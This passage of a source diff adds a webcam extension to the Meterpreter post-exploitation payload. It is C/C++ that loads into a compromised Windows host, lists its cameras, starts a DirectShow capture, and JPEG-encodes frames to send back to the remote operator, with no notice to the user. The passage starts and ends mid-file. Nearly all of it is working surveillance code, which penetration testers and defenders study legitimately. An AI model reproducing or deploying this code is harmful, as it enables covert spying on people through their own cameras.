256; /* assume it's 256 */ + else if (biClrUsed > 256) + return; //ERREXIT(cinfo, JERR_BMP_BADCMAP); + /* Allocate space to store the colormap */ + source->colormap = (*cinfo->mem->alloc_sarray) + ((j_common_ptr) cinfo, JPOOL_IMAGE, + (JDIMENSION) biClrUsed, (JDIMENSION) 3); + /* and read it from the file */ + read_colormap(source, (int) biClrUsed, mapentrysize); + /* account for size of colormap */ + bPad -= biClrUsed * mapentrysize; + } + + /* Skip any remaining pad bytes */ + if (bPad < 0) /* incorrect bfOffBits value? */ + return; //ERREXIT(cinfo, JERR_BMP_BADHEADER); + // Not reading a file... so, just jump to the start.. + // No need to read_byte as an fseek hack. + source->pub.read_offset = bfOffBits; + //while (--bPad >= 0) { + // (void) read_byte(source); + //} + + /* Compute row width in file, including padding to 4-byte boundary */ + if (source->bits_per_pixel == 16) + row_width = (JDIMENSION) (biWidth * 2); + else if (source->bits_per_pixel == 24) + row_width = (JDIMENSION) (biWidth * 3); + else if (source->bits_per_pixel == 32) + row_width = (JDIMENSION) (biWidth * 4); + else + row_width = (JDIMENSION) biWidth; + while ((row_width & 3) != 0) row_width++; + source->row_width = row_width; + + /* Allocate space for inversion array, prepare for preload pass */ + source->whole_image = (*cinfo->mem->request_virt_sarray) + ((j_common_ptr) cinfo, JPOOL_IMAGE, FALSE, + row_width, (JDIMENSION) biHeight, (JDIMENSION) 1); + source->pub.get_pixel_rows = preload_image; + + /* Allocate one-row buffer for returned data */ + source->pub.buffer = (*cinfo->mem->alloc_sarray) + ((j_common_ptr) cinfo, JPOOL_IMAGE, + (JDIMENSION) (biWidth * 3), (JDIMENSION) 1); + source->pub.buffer_height = 1; + + cinfo->in_color_space = JCS_RGB; + cinfo->input_components = 3; + cinfo->data_precision = 8; + cinfo->image_width = (JDIMENSION) biWidth; + cinfo->image_height = (JDIMENSION) biHeight; + +} + + +/* + * Finish up at the end of the file. + */ + +void finish_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + /* no work */ +} + + +/* + * The module selection routine for BMP format input. + */ +cjpeg_source_ptr jinit_read_bmp (j_compress_ptr cinfo) +{ + + bmp_source_ptr source; + /* Create module interface object */ + source = (bmp_source_ptr) + (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE, + SIZEOF(bmp_source_struct)); + source->cinfo = cinfo; /* make back link for subroutines */ + /* Fill in method ptrs, except get_pixel_rows which start_input sets */ + source->pub.start_input = start_input_bmp; + source->pub.finish_input = finish_input_bmp; + + return (cjpeg_source_ptr) source; +} + + +/* + * See: http://msdn.microsoft.com/en-us/library/dd145119%28VS.85%29.aspx + * This function was copied from the MSDN example. + * It was then modified to send the BMP data rather than save to disk + * It was then modified to conver the BMP to JPEG and send + * Now its realy big. + */ +int bmp2jpeg(PBYTE buf, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size ) +{ + + // Convert to JPEG stuff + struct jpeg_compress_struct cinfo; + struct jpeg_error_mgr jerr; + cjpeg_source_ptr src_mgr; + JDIMENSION num_scanlines; + + + // JPEG conversion start here..' + // buf is a pointer to a BMP in memory. + + /* Initialize JPEG parameters. + * Much of this may be overridden later. + * We need to provide some value for jpeg_set_defaults() to work. + */ + + cinfo.err = jpeg_std_error(&jerr); + jpeg_create_compress(&cinfo); + cinfo.in_color_space = JCS_RGB; /* arbitrary guess */ + jpeg_set_defaults(&cinfo); + + src_mgr = jinit_read_bmp(&cinfo); //Returns a cjpeg_source_ptr but is really bmp_source_ptr... + + src_mgr->input_buf = buf; + src_mgr->read_offset = 0; + /* Read the input file header to obtain file size & colorspace. */ + + start_input_bmp(&cinfo, src_mgr); + + jpeg_default_colorspace(&cinfo); + + // TODO: accept options from the command line for grayscale and quality. + /* Go GRAYSCALE */ + //jpeg_set_colorspace(&cinfo, JCS_GRAYSCALE); + /* Quality */ + jpeg_set_quality(&cinfo, quality, FALSE); + + // Write the compressed JPEG to memory: bug_jpeg + jpeg_mem_dest(&cinfo, buf_jpeg, buf_jpeg_size); + + /* Start compressor */ + jpeg_start_compress(&cinfo, TRUE); + + /* Process data */ + while (cinfo.next_scanline < cinfo.image_height) { + num_scanlines = (*src_mgr->get_pixel_rows) (&cinfo, src_mgr); + (void) jpeg_write_scanlines(&cinfo, src_mgr->buffer, num_scanlines); + } + + /* Finish compression and release memory */ + (*src_mgr->finish_input) (&cinfo, src_mgr); + jpeg_finish_compress(&cinfo); + jpeg_destroy_compress(&cinfo); + + return 1; +} diff --git a/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.h b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.h new file mode 100644 index 0000000000..3c5daa21f6 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.h @@ -0,0 +1,73 @@ +#ifndef _METERPRETER_SOURCE_SCREENSHOT_JPEG_H +#define _METERPRETER_SOURCE_SCREENSHOT_JPEG_H + +#include "jinclude.h" +#include "jpeglib.h" +#include "jerror.h" + +/* + * Object interface for cjpeg's source file decoding modules + * This is the structure used to handle the converstion to a JPEG + * The code "borrowed" from rdbmp.c example also uses this struct + * to reference a BMP, then uses type casting trickery to change it. + * All I have to say is "Just because you can do soemthing doesn't + * mean you should do it". But it works, and I'm too lazy to make it + * easier to "read". So a heads up, when you see a cjpeg_source being + * tossed around, it might really be a BMP. + * + * This structure was modified from the IJG's example to support + * conversion in memory without using disk. + */ +typedef struct cjpeg_source_struct * cjpeg_source_ptr; + +struct cjpeg_source_struct { + JMETHOD(void, start_input, (j_compress_ptr cinfo, + cjpeg_source_ptr sinfo)); + JMETHOD(JDIMENSION, get_pixel_rows, (j_compress_ptr cinfo, + cjpeg_source_ptr sinfo)); + JMETHOD(void, finish_input, (j_compress_ptr cinfo, + cjpeg_source_ptr sinfo)); + + TCHAR *input_buf; + UINT read_offset; + + JSAMPARRAY buffer; + JDIMENSION buffer_height; +}; + +/* Private version of data source object */ + +typedef struct _bmp_source_struct * bmp_source_ptr; + +typedef struct _bmp_source_struct { + struct cjpeg_source_struct pub; /* public fields */ + + j_compress_ptr cinfo; /* back link saves passing separate parm */ + + JSAMPARRAY colormap; /* BMP colormap (converted to my format) */ + + jvirt_sarray_ptr whole_image; /* Needed to reverse row order */ + JDIMENSION source_row; /* Current source row number */ + JDIMENSION row_width; /* Physical width of scanlines in file */ + + int bits_per_pixel; /* remembers 8- or 24-bit format */ +} bmp_source_struct; + + +// JPEG related functions +int ReadOK(bmp_source_ptr, char*, int); +int read_byte (bmp_source_ptr); +void read_colormap (bmp_source_ptr, int, int); +JDIMENSION get_8bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION get_16bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION get_24bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION get_32bit_row (j_compress_ptr, cjpeg_source_ptr); +JDIMENSION preload_image (j_compress_ptr, cjpeg_source_ptr); +void start_input_bmp (j_compress_ptr, cjpeg_source_ptr); +void finish_input_bmp (j_compress_ptr, cjpeg_source_ptr); +cjpeg_source_ptr jinit_read_bmp (j_compress_ptr); + +// BMP-screenshot related functions +int bmp2jpeg(PBYTE buf, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size ); + +#endif diff --git a/external/source/meterpreter/source/extensions/webcam/main.c b/external/source/meterpreter/source/extensions/webcam/main.c new file mode 100644 index 0000000000..57460e3a30 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/main.c @@ -0,0 +1,88 @@ +/* + * This module implements webcam capture and mic recording features. + */ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include "../../common/common.h" +#include "main.h" +//#include "audio.h" +#include "video.h" + + +#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h" +// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function +// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the +// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "../../ReflectiveDLLInjection/ReflectiveLoader.c" + +// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor + +// this sets the delay load hook function, see DelayLoadMetSrv.h +EnableDelayLoadMetSrv(); + +Command customCommands[] = +{ + // Video + { "webcam_list", + { request_webcam_list, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "webcam_start", + { request_webcam_start, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "webcam_get_frame", + { request_webcam_get_frame, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "webcam_stop", + { request_webcam_stop, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + // Audio +// { "webcam_audio_get_dev_audio", +// { request_audio_get_dev_audio, { 0 }, 0 }, +// { EMPTY_DISPATCH_HANDLER }, +// }, + + // Terminator + { NULL, + { EMPTY_DISPATCH_HANDLER }, + { EMPTY_DISPATCH_HANDLER }, + }, +}; + +/* + * Initialize the server extension + */ +DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +{ + DWORD index; + + hMetSrv = remote->hMetSrv; + + for (index = 0; + customCommands[index].method; + index++) + command_register(&customCommands[index]); + + return ERROR_SUCCESS; +} + +/* + * Deinitialize the server extension + */ +DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +{ + DWORD index; + + for (index = 0; + customCommands[index].method; + index++) + command_deregister(&customCommands[index]); + + return ERROR_SUCCESS; +} \ No newline at end of file diff --git a/external/source/meterpreter/source/extensions/webcam/main.h b/external/source/meterpreter/source/extensions/webcam/main.h new file mode 100644 index 0000000000..457216dce1 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/main.h @@ -0,0 +1,36 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H +#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H + +#define TLV_TYPE_EXTENSION_WEBCAM 0 + +#define TLV_TYPE_WEBCAM_IMAGE \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 1) + +#define TLV_TYPE_WEBCAM_INTERFACE_ID \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 2) + +#define TLV_TYPE_WEBCAM_QUALITY \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 3) + +#define TLV_TYPE_WEBCAM_NAME \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 4) + +#define TLV_TYPE_WEBCAM_SOUND \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_WEBCAM, \ + TLV_EXTENSIONS + 5) + +#endif diff --git a/external/source/meterpreter/source/extensions/webcam/video.cpp b/external/source/meterpreter/source/extensions/webcam/video.cpp new file mode 100644 index 0000000000..7bdea54d13 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/video.cpp @@ -0,0 +1,422 @@ +//This software is based on Touchless, which is released under the Microsoft Public License (Ms-PL) +#define WIN32_LEAN_AND_MEAN +#include +#include +#pragma comment(lib, "strmiids") +extern "C" { +#include "../../common/common.h" +#include "main.h" +#include "video.h" +#include "bmp2jpeg.h" +} + +//Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions +interface ISampleGrabberCB : public IUnknown { + virtual STDMETHODIMP SampleCB( double SampleTime, IMediaSample *pSample ) = 0; + virtual STDMETHODIMP BufferCB( double SampleTime, BYTE *pBuffer, long BufferLen ) = 0; +}; +static const IID IID_ISampleGrabberCB = { 0x0579154A, 0x2B53, 0x4994, { 0xB0, 0xD0, 0xE7, 0x73, 0x14, 0x8E, 0xFF, 0x85 } }; +interface ISampleGrabber : public IUnknown { + virtual HRESULT STDMETHODCALLTYPE SetOneShot( BOOL OneShot ) = 0; + virtual HRESULT STDMETHODCALLTYPE SetMediaType( const AM_MEDIA_TYPE *pType ) = 0; + virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( AM_MEDIA_TYPE *pType ) = 0; + virtual HRESULT STDMETHODCALLTYPE SetBufferSamples( BOOL BufferThem ) = 0; + virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer( long *pBufferSize, long *pBuffer ) = 0; + virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( IMediaSample **ppSample ) = 0; + virtual HRESULT STDMETHODCALLTYPE SetCallback( ISampleGrabberCB *pCallback, long WhichMethodToCallback ) = 0; +}; +static const IID IID_ISampleGrabber = { 0x6B652FFF, 0x11FE, 0x4fce, { 0x92, 0xAD, 0x02, 0x66, 0xB5, 0xD7, 0xC7, 0x8F } }; +static const CLSID CLSID_SampleGrabber = { 0xC1F400A0, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } }; +static const CLSID CLSID_NullRenderer = { 0xC1F400A4, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } }; + +//Handle used for synchronization. Main thread waits for capture event to be signalled to clean up +HANDLE writeEvent; + +//Store width/height of captured frame +int nWidth; +int nHeight; +bool running = false; + +//Capture variables +#define MAX_CAMERAS 10 +IGraphBuilder* g_pGraphBuilder = NULL; +IMediaControl* g_pMediaControl = NULL; +ICaptureGraphBuilder2* g_pCaptureGraphBuilder = NULL; +IBaseFilter* g_pIBaseFilterCam = NULL; +IBaseFilter* g_pIBaseFilterSampleGrabber = NULL; +IBaseFilter* g_pIBaseFilterNullRenderer = NULL; + +PBYTE imgdata = NULL; +UINT imgsize = 0; +UINT bmpsize = 0; +PBYTE bmpdata = NULL; + +// SampleGrabber callback interface +class MySampleGrabberCB : public ISampleGrabberCB{ +public: + MySampleGrabberCB(){ + m_nRefCount = 0; + } + virtual HRESULT STDMETHODCALLTYPE SampleCB( + double SampleTime, + IMediaSample *pSample){ + return E_FAIL; + } + virtual HRESULT STDMETHODCALLTYPE BufferCB( + double SampleTime, + BYTE *pBuffer, + long BufferLen) { + if (imgdata == NULL || imgsize < BufferLen){ + imgsize = BufferLen; + if(imgdata != NULL) + free(imgdata); + imgdata = (PBYTE)malloc(imgsize); + } + memcpy(imgdata,pBuffer,imgsize); + SetEvent(writeEvent); //Notify of new frame + return S_OK; + } + virtual HRESULT STDMETHODCALLTYPE QueryInterface( + REFIID riid, + void **ppvObject) { + return E_FAIL; // Not a very accurate implementation + } + virtual ULONG STDMETHODCALLTYPE AddRef(){ + return ++m_nRefCount; + } + virtual ULONG STDMETHODCALLTYPE Release(){ + int n = --m_nRefCount; + if (n <= 0) + delete this; + return n; + } +private: + int m_nRefCount; +}; + +extern "C" { +// lists webcams +DWORD request_webcam_list(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + + do{ + IEnumMoniker* pclassEnum = NULL; + ICreateDevEnum* pdevEnum = NULL; + + CoInitialize(NULL); + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, + NULL, + CLSCTX_INPROC, + IID_ICreateDevEnum, + (LPVOID*)&pdevEnum); + + if (SUCCEEDED(hr)) + hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); + + if (pdevEnum != NULL){ + pdevEnum->Release(); + pdevEnum = NULL; + } + int nCount = 0; + IUnknown* pUnk = NULL; + if (pclassEnum == NULL) + break;// Error! + + IMoniker* apIMoniker[1]; + ULONG ulCount = 0; + while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){ + IPropertyBag *pPropBag; + hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pPropBag); + if (SUCCEEDED(hr)) { + // To retrieve the filter's friendly name, do the following: + VARIANT varName; + VariantInit(&varName); + hr = pPropBag->Read(L"FriendlyName", &varName, 0); + //get chars from wchars + size_t converted; + char charbuf[512]; + wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf)); + if (SUCCEEDED(hr) && varName.vt == VT_BSTR) + packet_add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); + VariantClear(&varName); + pPropBag->Release(); + } + nCount++; + } + pclassEnum->Release(); + if(pUnk == NULL) + break;// No webcam! + } while (0); + + dwResult = GetLastError(); + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +// Starts webcam +DWORD request_webcam_start(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID); + + do { + if(running) + BREAK_WITH_ERROR("Already running!", ERROR_SERVICE_ALREADY_RUNNING) + IEnumMoniker* pclassEnum = NULL; + ICreateDevEnum* pdevEnum = NULL; + if(index < 1) + BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND) + CoInitialize(NULL); + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, + NULL, + CLSCTX_INPROC, + IID_ICreateDevEnum, + (LPVOID*)&pdevEnum); + if (FAILED(hr)) + BREAK_WITH_ERROR("No webcams found", hr) + + hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); + + if (pdevEnum != NULL){ + pdevEnum->Release(); + pdevEnum = NULL; + } + UINT nCount = 0; + IUnknown* pUnk = NULL; + if (pclassEnum == NULL) + break;// Error! + IMoniker* apIMoniker[1]; + ULONG ulCount = 0; + while (SUCCEEDED(hr) && nCount < index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){ + pUnk = apIMoniker[0]; + nCount++; + } + pclassEnum->Release(); + if(pUnk == NULL) + BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND) + IMoniker *pMoniker = NULL; + + // Grab the moniker interface + hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker); + if (FAILED(hr)) + BREAK_WITH_ERROR("Query interface failed", hr) + + // Build all the necessary interfaces to start the capture + hr = CoCreateInstance(CLSID_FilterGraph, + NULL, + CLSCTX_INPROC, + IID_IGraphBuilder, + (LPVOID*)&g_pGraphBuilder); + if (FAILED(hr)) + BREAK_WITH_ERROR("Filter graph creation failed", hr) + + hr = g_pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&g_pMediaControl); + if (FAILED(hr)) + BREAK_WITH_ERROR("Query interface failed", hr) + + hr = CoCreateInstance(CLSID_CaptureGraphBuilder2, + NULL, + CLSCTX_INPROC, + IID_ICaptureGraphBuilder2, + (LPVOID*)&g_pCaptureGraphBuilder); + if (FAILED(hr)) + BREAK_WITH_ERROR("Capture Graph Builder failed", hr) + + // Setup the filter graph + hr = g_pCaptureGraphBuilder->SetFiltergraph(g_pGraphBuilder); + if (FAILED(hr)) + BREAK_WITH_ERROR("Set filter graph failed", hr) + // Build the camera from the moniker + hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&g_pIBaseFilterCam); + if (FAILED(hr)) + BREAK_WITH_ERROR("Bind to object failed", hr) + // Add the camera to the filter graph + hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterCam, L"WebCam"); + if (FAILED(hr)) + BREAK_WITH_ERROR("Add filter failed", hr) + // Create a SampleGrabber + hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterSampleGrabber); + if (FAILED(hr)) + BREAK_WITH_ERROR("Create sample grabber failed", hr) + // Configure the Sample Grabber + ISampleGrabber *pGrabber = NULL; + hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber); + if (SUCCEEDED(hr)){ + AM_MEDIA_TYPE mt; + ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); + mt.majortype = MEDIATYPE_Video; + mt.subtype = MEDIASUBTYPE_RGB24; + mt.formattype = FORMAT_VideoInfo; + hr = pGrabber->SetMediaType(&mt); + } + if (SUCCEEDED(hr)){ + MySampleGrabberCB* msg = new MySampleGrabberCB(); + hr = pGrabber->SetCallback(msg, 1); + } + if (pGrabber != NULL){ + pGrabber->Release(); + pGrabber = NULL; + } + if (FAILED(hr)) + BREAK_WITH_ERROR("Sample grabber instantiation failed", hr) + + // Add Sample Grabber to the filter graph + hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterSampleGrabber, L"SampleGrabber"); + if (FAILED(hr)) + BREAK_WITH_ERROR("Add Sample Grabber to the filter graph failed", hr) + // Create the NullRender + hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterNullRenderer); + if (FAILED(hr)) + BREAK_WITH_ERROR("Create the NullRender failed", hr) + // Add the Null Render to the filter graph + hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterNullRenderer, L"NullRenderer"); + if (FAILED(hr)) + BREAK_WITH_ERROR("Add the Null Render to the filter graph failed", hr) + // Configure the render stream + hr = g_pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, g_pIBaseFilterCam, + g_pIBaseFilterSampleGrabber, g_pIBaseFilterNullRenderer); + if (FAILED(hr)) + BREAK_WITH_ERROR("Configure the render stream failed", hr) + // Grab the capture width and height + hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber); + if (FAILED(hr)) + BREAK_WITH_ERROR("Querying interface failed", hr) + AM_MEDIA_TYPE mt; + hr = pGrabber->GetConnectedMediaType(&mt); + if (FAILED(hr)) + BREAK_WITH_ERROR("GetConnectedMediaType failed", hr) + VIDEOINFOHEADER *pVih; + if ((mt.formattype == FORMAT_VideoInfo) && + (mt.cbFormat >= sizeof(VIDEOINFOHEADER)) && + (mt.pbFormat != NULL) ) { + pVih = (VIDEOINFOHEADER*)mt.pbFormat; + nWidth = pVih->bmiHeader.biWidth; + nHeight = pVih->bmiHeader.biHeight; + }else{ + BREAK_WITH_ERROR("Wrong format type", hr) // Wrong format + } + if (pGrabber != NULL){ + pGrabber->Release(); + pGrabber = NULL; + } + + //Sync: set up semaphore + writeEvent = CreateEvent( + NULL, // default security attributes + FALSE, // auto-reset event + FALSE, // initial state is nonsignaled + NULL); // no object name + + // Start the capture + if (FAILED(hr)) + BREAK_WITH_ERROR("CreateEvent failed", hr) + hr = g_pMediaControl->Run(); + if (FAILED(hr)) + BREAK_WITH_ERROR("Running capture failed", hr) + + // Cleanup + if (pMoniker != NULL){ + pMoniker->Release(); + pMoniker = NULL; + } + + //Now we wait for first frame + if(WaitForSingleObject (writeEvent, 30000) == WAIT_TIMEOUT) + BREAK_WITH_ERROR("timeout!", WAIT_TIMEOUT); + running = true; + dwResult = GetLastError(); + } while (0); + + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +// Gets image from running webcam +DWORD request_webcam_get_frame(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY); + + //Make bmp + BITMAPFILEHEADER bfh; + bfh.bfType = 0x4d42; // always "BM" + bfh.bfSize = sizeof( BITMAPFILEHEADER ); + bfh.bfReserved1 = 0; + bfh.bfReserved2 = 0; + bfh.bfOffBits = (DWORD) (sizeof( bfh ) + sizeof(BITMAPINFOHEADER)); + + BITMAPINFOHEADER bih; + bih.biSize = sizeof(BITMAPINFOHEADER); + bih.biWidth = nWidth; + bih.biHeight = nHeight; + bih.biPlanes = 1; + bih.biBitCount = 24; + bih.biCompression = BI_RGB; + bih.biSizeImage = imgsize; + bih.biXPelsPerMeter = 0; + bih.biYPelsPerMeter = 0; + bih.biClrUsed = 0; + bih.biClrImportant = 0; + + UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih); + if(bmpsize < mybmpsize){ + bmpsize = mybmpsize; + if(bmpdata != NULL) + delete [] bmpdata; + bmpdata = new BYTE[bmpsize]; + } + + // put headers together to make a .bmp in memory + memcpy(bmpdata, &bfh, sizeof(bfh)); + memcpy(bmpdata + sizeof(bfh), &bih, sizeof(bih)); + memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize); + + // Now convert to JPEG + DWORD jpgsize = 0; + PBYTE jpgarray = NULL; //shouldn't be bigger, right? + bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize ); + + //And send + packet_add_tlv_raw(response, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize); + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +// Stops running webcam +DWORD request_webcam_stop(Remote *remote, Packet *packet){ + Packet *response = packet_create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + + running = false; + if (g_pMediaControl != NULL){ + g_pMediaControl->Stop(); + g_pMediaControl->Release(); + g_pMediaControl = NULL; + } + if (g_pIBaseFilterNullRenderer != NULL){ + g_pIBaseFilterNullRenderer->Release(); + g_pIBaseFilterNullRenderer = NULL; + } + if (g_pIBaseFilterSampleGrabber != NULL){ + g_pIBaseFilterSampleGrabber->Release(); + g_pIBaseFilterSampleGrabber = NULL; + } + if (g_pIBaseFilterCam != NULL){ + g_pIBaseFilterCam->Release(); + g_pIBaseFilterCam = NULL; + } + if (g_pGraphBuilder != NULL){ + g_pGraphBuilder->Release(); + g_pGraphBuilder = NULL; + } + if (g_pCaptureGraphBuilder != NULL){ + g_pCaptureGraphBuilder->Release(); + g_pCaptureGraphBuilder = NULL; + } + + packet_transmit_response(dwResult, remote, response); + return dwResult; +} + +} diff --git a/external/source/meterpreter/source/extensions/webcam/video.h b/external/source/meterpreter/source/extensions/webcam/video.h new file mode 100644 index 0000000000..d235a12779 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/video.h @@ -0,0 +1,7 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H +#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H +DWORD request_webcam_list(Remote *remote, Packet *packet); +DWORD request_webcam_start(Remote *remote, Packet *packet); +DWORD request_webcam_get_frame(Remote *remote, Packet *packet); +DWORD request_webcam_stop(Remote *remote, Packet *packet); +#endif diff --git a/external/source/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj b/external/source/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj new file mode 100644 index 0000000000..b9857eaa90 --- /dev/null +++ b/external/source/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj @@ -0,0 +1,398 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/meterpreter/workspace/meterpreter.sln b/external/source/meterpreter/workspace/meterpreter.sln index 4427529717..841e40e943 100644 --- a/external/source/meterpreter/workspace/meterpreter.sln +++ b/external/source/meterpreter/workspace/meterpreter.sln @@ -67,6 +67,12 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\sc {72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D} EndProjectSection EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_webcam", "ext_server_webcam\ext_server_webcam.vcproj", "{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}" + ProjectSection(ProjectDependencies) = postProject + {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} = {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} + {72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D} + EndProjectSection +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 @@ -168,6 +174,12 @@ Global {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32 {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64 {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.ActiveCfg = Debug|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.Build.0 = Debug|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|x64.ActiveCfg = Debug|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.ActiveCfg = Release|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.Build.0 = Release|Win32 + {F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|x64.ActiveCfg = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/lib/rex/post/meterpreter/extensions/webcam/tlv.rb b/lib/rex/post/meterpreter/extensions/webcam/tlv.rb new file mode 100644 index 0000000000..2e19e77a6a --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/webcam/tlv.rb @@ -0,0 +1,17 @@ +module Rex +module Post +module Meterpreter 